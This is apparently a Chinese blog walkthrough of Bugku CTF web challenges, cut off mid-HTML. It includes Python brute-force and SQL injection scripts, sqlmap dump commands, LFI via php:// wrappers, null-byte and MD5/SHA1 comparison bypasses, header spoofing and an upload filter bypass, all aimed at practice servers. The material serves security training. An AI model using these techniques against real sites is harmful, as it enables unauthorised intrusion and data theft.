打开页面后F12查看源代码即可。
flag:KEY{Web-2-bugKssNNikls9100}
这里做了输入长度限制,F12选中输入框,修改长度限制即可。
flag:flag{CTF-bugku-0032}
这里要理解超全局变量$_GET,只要我们传递的参数为what,并且内容为flag,即可输出flag。
flag:flag{bugku_get_su8kej2en}
这里跟上面一样,不过要借助插件hackerbar进行一个POST传输。
flag:flag{bugku_get_ssseint67se}
这里题目要求num为1却不能是数字,这就很矛盾了,我们传一个以1开头,不能以数字结尾的字符串就行了。
flag:flag{bugku-789-ps-ssdf}
这道题跟web2有异曲同工之妙,都是F12查看源代码找到线索,唯一不同就是web3进行了一次Unicode编码,解码即可获得flag。
hosts文件在C:\Windows\System32\drivers\etc下,修改后访问flag.baidu.com即可得到flag
flag:KEY{DSAHDSJ82HDS2211}
访问页面后它会无限刷新,我们挂一个Burp抓抓包就好了,会出现一个10.jpg的页面,这个页面的长度跟其他页面长度不同,flag就在里边。
这考察了超全局变量的运用,先来分析一下代码:
error_reporting(0); // 关闭报错
include "flag1.php"; // 包含flag1.php文件
highlight_file(__file__); // 高亮显示文件内容
if(isset($_GET['args'])){
// 判断GET接收的参数是不是args
$args = $_GET['args']; // 把ages的值赋给$args
if(!preg_match("/^\w+$/",$args)){
//添加正则匹配,只允许至少一个的任意数字字母,与$args进行匹配
die("args error!"); // 如果匹配不上就输出args error
}
eval("var_dump($$args);"); // 把内容当作PHP代码执行,$$args相当于$($args)
}
?>
这里一开始想到的是用eval执行一个file()函数,来进行文件包含,但是这里对用户的输入进行了正则过滤,所以考虑到用GLOBAS[]输出所有的全局变量
flag:flag{92853051ab894a64f7865cf3c2128b34}
直接粘贴到控制台中,得到flag
flag:ctf{whatfk}
这时候只能抓包看一下,或者扫扫目录什么的,抓包发包的时候发现了flag
flag:flag{Bugku_k8_23s_istra}
打开后是一个黑页。根据题意,实战中经常遇到,一般就是有大马这种,既然是实战,那就先扫扫目录
访问后发现需要密码,试了试一些常规的shell弱口令得到flag,密码为hack:
**flag:flag{hack_bug_ku035} **
首先F12查看源代码,一定要看完,在最后一行有一段base64加密的字符串
解密后是test123,应该就是密码了
但是当我们去登录的时候,登陆页面对IP进行了限制,只允许本地访问,那我们抓个包,加一下X-Forwarded-For: 127.0.0.1来绕过一下把:
得到flag,这里确实是MD5加密了,但是flag就是这串密文:
flag:flag{85ff2ee4171396724bae20c0bd851f6b}
访问后看一下源码,发现了这一串东西:
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
放在Hackbar里解码后大概是这个样子:
function checkSubmit()
{
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b;54aa2aa648cf6e87a7114f1"==a.value){
return!0;
alert("Error");
a.focus();
return!1;
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
eval(unescape(p1) + unescape(\'%35%34%61%61%32\' + p2));
重点是那串判断中被加密的条件67d709b2b;54aa2aa648cf6e87a7114f1,提交得到flag:
flag:KEY{J22JK-HS11}
这里涉及到通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码,题目也说了flag在index里,如果我们直接包含index.php,程序是会把它执行的,并不会输出源码,但是我们如果利用LFI漏洞来读取index,是会读到一串加密的字符串的:
base64解码后得到flag:
<html>
<title>Bugku-ctf</title>
error_reporting(0);
if(!$_GET[file]){
echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
flag:flag{edulcni_elif_lacol_si_siht}
看题目地址,提示爆破,且密码长度为5位数,用Python写个脚本就行了:
#!/usr/bin/env python
# coding:utf-8
import requests
import re
def dic():
# 从0到9999开始遍历输出
for i in range(0, 99999):
# 如果i的长度小于5
if len(str(i)) < 5:
# 前面用0补全,最多5位,追加到value中
value.append('0'*(5-len(str(i)))+str(i))
else:
# 追加到value中
value.append(str(i))
def get_flag():
print '开始爆破,请稍等...'
# 遍历value中的值赋给j
for j in value:
data = {
'pwd':j}
print '尝试密码:',j
# post数据
req = requests.post(url,data)
req.encoding='utf-8'
# 获取返回页面的信息
html2 = req.text
# 与模板进行对比,如果返回的信息不一致则进行正则匹配,直接打印出flag
if html2 != html1:
flag = re.findall(r'flag.+', html1)
print flag[0]
break
if __name__=='__main__':
# 定义URL,和一个接收密码的字典
url = 'http://123.206.87.240:8002/baopo/?yes'
value = []
# 定义一个对比模板
data = {
'pwd': '00000'}
req = requests.post(url, data=data)
req.encoding = 'utf-8'
html1 = req.text
# 开怼
dic()
get_flag()
有时间的去跑一跑,太耽误事儿了,密码:13579
flag:flag{bugku-baopo-hah}
题目都说了,那咱们就拿出御剑来,专门扫一下.bak这种的备份文件吧
下载后打开,是一道代码审计题,这是它的源码:
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
我们一段一段来分析,首先分析它对url参数过滤的代码:
# 包含本地文件flag.php
include_once "flag.php";
# 取消报错
ini_set("display_errors", 0);
# strstr是查找字符串的首次出现,这里捕获的是当前url?后的所有字符串,捕获之后返回给str
$str = strstr($_SERVER['REQUEST_URI'], '?');
# substr是取字符串中的子串,这个可以理解为str变成了一个列表,里所有的字符串变成了单一的元素;
# 从0开始计数,这里1的意思是,从1开始取出后面所有的元素拼接成一个新的字符串重新赋值给str
$str = substr($str,1);
# str_replace的作用是替换,这里将str中的'key'替换为''
$str = str_replace('key','',$str);
# 把str解析成变量,这里也就是解析key1跟key2
parse_str($str);
为了方便理解,我在本地改了一下代码,让它输出一下:
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
echo $str.'
';
$str = substr($str,1);
echo $str.'
';
$str = str_replace('key','',$str);
echo $str.'
';
parse_str($str);
echo md5($key1).'
';
echo md5($key2);
访问一下,你可能会发现这俩MD5是一样的,但我们传的值是不一样的,这是因为我们的key被过滤了,这里md5()相当于加密了个空气:
接着分析剩下的代码:
# 这里接上面的取值加密
echo md5($key1);
echo md5($key2);
# 这里要求md5加密的值一样且未加密的值不同,就输出flag.
if(md5($key1) == md5($key2) && $key1 !== $key2)
{
echo $flag."取得flag";
}
这个md5()函数,处理不了传入的数组,所以我们构造url的时候在key后加[]=xx,又经过parse_str()的处理,所以就变成了:
$kekeyy1[]=xxx&$kekeyy2[]=axxs
这样一来就符合条件了:
exp:http://123.206.87.240:8002/web16/index.php?kkeyey1[]=0e1&kkeyey2[]=xxx
还有一种绕过方法,就是利用==比较漏洞,在php中,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
构造payload:
http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s155964671a
flag:Bugku{OH_YOU_FIND_MY_MOMY}
这一道题就是一个简单的POST注入,用burp抓个包,丢sqlmap里跑就行了
跑一下:
Sqlmap -r C:\Users\Administrator\Desktop\1.txt
Sqlmap -r C:\Users\Administrator\Desktop\1.txt -p id --dump -C "skctf_flag" -T "fl4g" -D "skctf_flag"
flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
这个我一开始的思路是抓包POST数据,然并卵,所以还是写个脚本来跑吧,Python大法好啊:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/12 20:12
# @Author : Shadow
# @Site :
# @File : Bugku_QiuMingShan.py
# @Software: PyCharm
import requests
import re
local = requests.Session()
url = 'http://123.206.87.240:8002/qiumingshan/'
req = local.get(url).text
html = re.findall(r'(.*?)=\?;',req)
data = {
"value":eval(html[0])}
while 1:
try:
value = local.post(url, data=data).text
flag = re.findall(r' Bugku.*',value)
print 'flag:{}'.format(flag[0])
break
except IndexError:
pass
flag: Bugku{YOU_DID_IT_BY_SECOND}
这个思路也是先抓个包,看一下返回包里的数据:
他要求我们把看到的POST一下,我们先把flag中的内容解码:
flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTkRZNE5USTQ=
这题目很有意思,每次访问flag都会变,所以最好的办法就是用Python写个脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/12 21:23
# @Author : Shadow
# @Site :
# @File : Bugku_Go_Fast.py
# @Software: PyCharm
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
local = requests.session()
# 以字典形式获取respond头
headers = local.get(url).headers
# 解码flag
flag = base64.b64decode(headers['flag'])
flag = flag.split(" ")[1]
# 获取二次加密后的flag
new_flag = base64.b64decode(flag)
# 定义data准备post
data = {
'margin': new_flag}
# 获取真·flag
print local.post(url,data=data).text
flag:KEY{111dd62fcd377076be18a}
访问题目,发现url最后是一个base64编码,解码一下:
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
尝试文件包含index.php结果啥也没有,在参数line中加入数字,成功包含出一行代码:
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
用python写一个脚本进行遍历输出,就3行,Python大法好:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/12 23:27
# @Author : Shadow
# @Site :
# @File : Bugku_Cookie欺骗.py
# @Software: PyCharm
import requests
for i in range(30):
print requests.get('http://123.206.87.240:8002/web11/index.php?line=%d'%i+'&filename=aW5kZXgucGhw').text
这是遍历出来的源码,我都已经详细的分析,并加了备注:
# 关闭报错
error_reporting(0);
# 判断url是否传值,并把传过来的值通过base64解码赋值给file
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# 判断是否传值,是就取整,不是就设置默认为零
$line=isset($_GET['line'])?intval($_GET['line']):0;
# 若filename没有值,那么就跳转到index.php?line=&filename=a2V5cy50eHQ=
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
# 定义一个关联数组
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
# 若cookie等于margin且cookie值也等于margin
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
# 那么往file_list数组中追加key.php
# a2V5cy5waHA=
$file_list[2]='keys.php';
}
# 如果解码后的file存在于file_list中
if(in_array($file, $file_list)){
# 那么就把$file的值传到$fa中
$fa = file($file);
# 输出数组$fa的第$line行
echo $fa[$line];
}
?>
这里说一下得到flag的条件:
1. Cookie的name与value必须为margin
2. filename的值必须是经过base64编码的,且值必须是key.php的base64编码
exp:http://123.206.87.240:8002/web11/index.php?line=0&filename=a2V5cy5waHA=
一定要先添加cokie,我这里用的Cookie Editor:
flag:KEY{key_keys}
访问1p.html后跳转到了bugku的论坛,那我们就用view-source来看它的源码:
view-source:http://123.206.87.240:8006/test/1p.html
"%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ
%3D%3D--%3E"
url加base64解码:
<script>window.location.href='http://www.bugku.com';</script>
<!--
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
-->
再次url解码:
<script>window.location.href='http://www.bugku.com';</script>
<!--
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
-->
这里有两种方法可以拿到flag,第一种就是代码审计,先来审计吧
<meta charset="utf8">
# 如果没有GET到id,直接跳转到hello.php?id=1
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
# 定义三个接收参数的变量
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
# 如果a中含有字符.输出no no no
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
# 把读取文件的内容赋值给data
$data = @file_get_contents($a,'r');
# 条件一:data弱等于bugku is a nice plateform!
# 条件二:id若等于0
# 条件三:b的长度要大于5
# 条件四:字符串111加$b的第一个字符要与字符串1114匹配
# 条件五:$b的第一个字符串不可以是4
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
主要是上文中的五个条件,我们一个一个来实现
条件一:$data弱等于字符串bugku is a nice plateform!
而$data是由函数file_get_contents()读取 a 的 内 容 来 赋 值 的 , 所 以 a的内容来赋值的,所以 a的内容来赋值的,所以a就必须是数据流,要从a这里进行数据的传输,然后赋值给data,这样一来就用到php://input这个伪协议,并且使用的时候提交数据bugku is a nice plateform!就行了。
a=php://input
# 且附加数据bugku is a nice plateform!
条件二:id非空非零且弱等于整型数 0
根据上图比较, 我写了一段验证代码:
$a = $_GET['id'];
if ($a == 0 and $a!=0)
{
echo 'Yes'."
";
var_dump($a);
}else
{
echo 'No'."
";
var_dump($a);
}
按理说我们验证id=0也是可以正常输出的,但是在本题中就是不可以,真是搞不懂为什么,那我们就用非零非数字的参数吧:
id=a
ereg() 函数或 eregi() 函数是存在空字符截断漏洞的:即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据,为了方便理解,我把代码拿出来做了测试:
error_reporting(0);
$b = $_GET['b'];
var_dump(eregi("111".substr($b,0,1),"1114"));
错误:
正确:
条件三:b的长度要大于5
条件四:字符串111加$b的第一个字符要与字符串1114匹配
条件五:$b的第一个字符串不可以是4
这样一来变量b的参数我们就构造出来了:
b=%00qaz123
抓个包,把构造好的参数拼接起来发包即可:
flag:flag{tHis_iS_THe_fLaG}
第二个方法就是直接访问源码中的f4l2a3g.txt,这样最简单,也最没意思。
这道题涉及到正则表达式,现在编程的正则都几乎相通,我这篇文章写的是Python的正则,在这道题中一样可以用的,正则表达式详细教程。
首先我们来分析一下源码,因为我PHP也没有学正则,刚上来也是一脸懵逼,不过运行了几次之后就明白它的匹配规则了:
# 高亮显示2.php的内容
highlight_file('2.php');
# 定义变量key
$key='KEY{********************************}';
# preg_match()正则匹配,trim()去除首尾的特殊转移字符跟空白字符,把结果返回给IM
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
# 如果符合IM为1则输出key
if( $IM ){
die('key is: '.$key);
}
?>
这里就不再对正则作过多的介绍,不懂的去看一下我那篇文章吧~重点就在这段代码中:
/key.*key.{
4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
首先它的格式是这样的,i代表不区分大小写:
/正则匹配规则/i
key 就是匹配 字符串key 没别的意思
. 代表任意一个字符
* 代表前一个字符可以匹配0次或多次
{4,7} 代表前一个字符最少匹配4次,最多匹配7次
: 就是 字符串: 没别的意思
\/.\/ 其实就是 /./ 它加上\是为了防止转义,/ 就是 字符串/ 没别的意思
(.*key) 就是匹配0个或多个key前面的字符
[a-z] 匹配任意一个英文字母
[[:punct:]] 匹配任意一个特殊字符
如果你还是看不明白,就去学习一下正则吧,自己动手做做!
payload:?id=keykeyaaaakey:/a/keya`
这道题我寻思了半天,一点提示都没有,没办法我就去网上搜了一下,原来是加一个referer头…真是有CTF内味儿了
抓个包先
然后在他的herders选项中添加referer:https://www.google.com即可:
这道题的思路就是题目名字,md5碰撞,这道题钱前面其实做过一次了,就是那道备份是个好习惯,我们只需要传一个经过加密后以0e开头的字符串过去就i行了:
exp:http://123.206.87.240:9009/md5.php?a=s1885207154a
flag:flag{md5_collision_is_easy}
这个很简单,题目要求从本地访问,我们抓包加一个x-forwarded-for头为127.0.0.1即可:
flag:flag{loc-al-h-o-st1}
上来就给了一段代码,那我们就审计一下吧:
# 高亮显示flag.php的文件内容
highlight_file('flag.php');
# url解码所获取的id内容
$_GET['id'] = urldecode($_GET['id']);
# 定义变量flag
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
# 如果没有GETuname和POSTpasswd
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
# 如果GET的uname弱等于POST的passwd
if ($_GET['uname'] == $_POST['passwd'])
# 输出passwd can not be uname.
print 'passwd can not be uname.';
# 或者经过sha1加密的uname全等于sha1加密的passwd,并且id弱等于字符串margin
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
# 退出程序并打印flag
die('Flag: '.$flag);
# 否则输出sorry!
else
print 'sorry!';
}
?>
突破点就在这一行:
# 或者经过sha1加密的uname全等于sha1加密的passwd,并且id弱等于字符串margin
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
注意三点:
1. GET的uname与POST的passwd值不能相等。
2. 经过SHA1加密的uname与passwd必须全等于。
3. GET的id必须等于margin
第二条我们只需要传递数组就行了,数组经过处理后的哈希值是一样的,所以exp就出来了:
POST http://123.206.87.240:8002/web7/?uname[]=a&id=margin
passwd[]=1
flag:flag{HACK_45hhs_213sDD}
先来审计下代码:
# 从数组中将变量导入到当前的符号表
extract($_GET);
# 判断变量ac是否为空
if (!empty($ac))
{
# 变量f等于fn,这里的fn一定是一个储存文件的变量
$f = trim(file_get_contents($fn));
# 如果ac全等于f,也就是我们传递的ac的值全等于$fn文件里的内容
if ($ac === $f)
{
# 输出flag
echo "This is flag:"
." $flag";
}
# 否则输出sorry!
else
{
echo "sorry!
";
}
}
?>
这里注意四点:
方法一:
既然 f 的值是从fn中读取的,且ac全等于fn就输出flag,那么exp就出来了:
http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
方法二:
其实这道题的突破点就在 $fn 上,我们可以用php://input进行一个数据流传输,来定义fn的值,然后ac与定义的值一样就行了:
flag: flag{3cfb7a90fc0de31}
上来啥也没有,直接去扫一下目录吧
robots.txt里给出了真正的页面:
题目是想办法成为管理员,这里x用一些弱口令来试一下就行了:
exp:http://123.206.87.240:8002/web13/resusl.php?x=admin
flag:flag(ctf_0098_lkji-s)
抓包后修改一下Content-Type与后缀名,这里后缀名经过多次测试,只有php5可以执行,其余的也可以上传,但是拿不到flag,这里看似是一个黑名单,实则它就是做了一个白名单限制,只有php5这个后缀的文件才能出flag。
flag:KEY{bb35dc123820e}
报错
http://123.206.87.240:9004/1ndex.php?id=1%27
http://123.206.87.240:9004/1ndex.php?id=1%27%23
可以判断出这是有注入的,接下来检查以下字段长度,他这里过滤了or,我们双写绕过:
http://123.206.87.240:9004/1ndex.php?id=1%27oorrder%20by%203%23
这里用异或判断一下它过滤了那些关键字:
http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)%23
如果页面返回正常说明union被过滤了,它过滤了or、union、select、and,这些我们都双写就行了.
为了方便注入,我自己写了一个注入脚本,但当我跑出flag的时候才发现,事情并没有那么简单,先看一下脚本吧,这就是一个简单的数字型注入,注意双写它过滤的关键字就行了:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/15 18:47
# @Author : Shadow
# @Site :
# @File : Bugku_多次.py
# @Software: PyCharm
from urllib import parse
import requests
import re
# 爆数据库
def get_database():
exp = "ununionion seselectlect 1,database()#"
html = local.get(url=url+parse.quote(exp)).text
database = re.findall(r"(.*?)
",html)
print('当前数据库为:',database[0])
# 爆表名
def get_tables():
exp = "ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()#"
html = local.get(url=url+parse.quote(exp)).text
tables = re.findall(r"(.*?)
",html)
print('当前数据表为:',tables[0])
table_name = input('请输入要爆的数据表名:')
get_columns(table_name)
# 爆列名
def get_columns(table):
exp = "ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='{}'#".format(table)
html = local.get(url=url+parse.quote(exp)).text
columns = re.findall(r"(.*?)
",html)
print('数据表{}的所有字段名为:'.format(table),columns[0])
column_name = input('请输入要爆的字段名名:')
get_data(column_name,table)
# 爆字段
def get_data(column,table):
exp = "ununionion seselectlect 1, group_concat({}) from {}#".format(column,table)
html = local.get(url=url+parse.quote(exp)).text
data = re.findall(r"(.*?)
" ,html)
print('字段{}的内容为:'.format(column),data[0])
if __name__=='__main__':
url = "http://123.206.87.240:9004/1ndex.php?id=-1%27%20"
local = requests.Session()
# 开始
get_database()
get_tables()
这里利用 updatexml() 函数报错注入
先来看一下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
更新一下脚本就行了:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/15 21:32
# @Author : Shadow
# @Site :
# @File : Bugku_真·多次.py
# @Software: PyCharm
from urllib import parse
import requests
import re
# 爆表名
def get_tables():
exp = "and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) #"
# print(url+parse.quote(exp))
html = local.get(url=url+parse.quote(exp)).text
tables = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
print('当前数据表为:',tables[0])
table_name = input('请输入要爆的数据表名:')
get_columns(table_name)
# 爆列名
def get_columns(table):
exp = "and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) #".format(table)
html = local.get(url=url+parse.quote(exp)).text
columns = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
print('数据表{}的所有字段名为:'.format(table),columns[0])
column_name = input('请输入要爆的字段名名:')
get_data(column_name,table)
# 爆字段
def get_data(column,table):
exp = "and updatexml(1,concat('~',(select {} from {}),'~'),3) #".format(column,table)
html = local.get(url=url+parse.quote(exp)).text
data = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
print('字段{}的内容为:'.format(column),data[0])
if __name__=='__main__':
url = "http://123.206.87.240:9004/Once_More.php?id=1%27%20"
local = requests.Session()
# 开始
get_tables()
拿到真·flag
flag:flag{Bugku-sql_6s-2i-4t-bug}
题目提示经过了base64编码,我们解下码先:
啥也不是
把文件下载下来,是一道代码审计题,先来分析下源码:
function encrypt($data,$key)
{
# md5加密字符串ISCC
$key = md5('ISCC');
# 定义变量x
$x = 0;
# 获取data的长度
$len = strlen($data);
# 获取key的长度
$klen = strlen($key);
# 循环,次数小于len的值
for ($i=0; $i < $len; $i++) {
# 当x与klen都为0时
if ($x == $klen)
{
# x=0
$x = 0;
}
# char=key的第一个值
$char .= $key[$x];
# 自加
$x+=1;
}
# 循环,次数小于len的值
for ($i=0; $i < $len; $i++) {
# 取data里面的第i个数据加上char里面的第i个数据 把他们的ord()ASCII值相加取余128
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/11/16 23:27
# @Author : Shadow
# @Site :
# @File : Bugku_PHP_encrypt_1(ISCCCTF).py
# @Software: PyCharm
import base64
def detrcy(b64):
# 定义一个接收数据的空列表
int_b64 = []
# base64解密b64并赋值给b64de
b64de = base64.b64decode(b64)
# 循环b64de次
for i in range(len(b64de)):
# 把b64de的old值传入int_b64
int_b64.append(ord(b64de[i]))
# print int_b64
# 对应php代码中的 key= MD5('ISCC')
key = '729623334f0aa2784a1599fd374c120d729623'
# 定义空列表接收数据
int_key = []
# 遍历key的长度次
for i in range(len(key)):
# 把key的ord值传入int_ky
int_key.append(ord(key[i]))
# print int_key
# 定义空字符flag接收数据
flag = ''
# 遍历int_b64的长度
for i in range(len(int_b64)):
# flag等于flag加ASCII解码后的int_b64[i]-int_key[i]加128的值除128
# 涉及到同余加解密
flag += chr((int_b64[i]-int_key[i]+128) % 128)
print flag
if __name__ == '__main__':
# str_b64 = eccrypt('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
# print 'str_b64-->', str_b64
str_b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
# print 'str_b64-->', str_b64
detrcy(str_b64)
flag:Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
这题太迷惑人了,一开始我以为是从登录框下手,结果发现不是,而是要GET传值获取源码,进行一个代码审计:
http://123.206.87.240:8002/flagphp/?hint=2
先来分析下代码:
# 关闭报错
error_reporting(0);
# 包含一次flag.php文件
include_once("flag.php");
# 变量cookie等于ISecer
$cookie = $_COOKIE['ISecer'];
# var_dump($cookie);
# 判断是否GET到hint
if(isset($_GET['hint'])){
# 高亮显示文件内容
show_source(__FILE__);
}
# 反序列化key的值,如果全等于反序列化后cookie的值,就输出flag
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
